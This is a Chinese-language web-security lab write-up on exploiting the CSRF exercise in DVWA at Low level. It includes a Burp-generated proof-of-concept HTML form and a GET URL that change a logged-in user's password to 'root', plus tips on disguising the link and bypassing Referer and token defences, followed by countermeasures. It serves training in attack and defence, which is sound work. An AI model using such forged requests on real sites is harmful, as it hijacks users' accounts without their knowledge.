【渗透测试-web安全】DVWA-CSRF
一、登录DVWA、设置安全级别为Low、进入CSRF
修改密码
抓包
使用burpsuite右键构造CSRF
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="root" />
<input type="hidden" name="password_conf" value="root" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="ChangePassword" />
</form>
</body>
</html
打开测试
点击修改密码成功:
二、CSRF构造解析
通过抓包我们知道修改密码使用的是GET请求:
而且对应的网址为:
localhost/dvwa/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change
也就是说任何登录了这个站点的人点击访问构造的这个链接都会将密码改成root
但是真的有人会点击这个链接吗?这不是侮辱智商
所以就产生了我们之前的html代码,通过构造html来进行伪装将链接转换成我们无法识别的进行欺骗
三、防范与破解进阶
之前我们使用的仅仅是Low等级的漏洞利用,
进阶防范1
设置refer请求头,非正常的请求头则拒绝对应的请求。
进阶破解之道1
其实请求头我们在自己构建站点的时候是可以模拟的,只需要将对应的站点根文件夹名称修改为正确的refer名称即可
进阶防范2
增加随机参数user_token这样攻击者在知道其他参数的情况下是无法知道token值的
进阶破解之道2
理论上我们的user_token也是可以暴力破解的(其实真的只是理论上的)
进阶防范3
如果说黑客能够破解对应的user_token那么修改密码的时候我们增加原密码进行校对,至此天衣无缝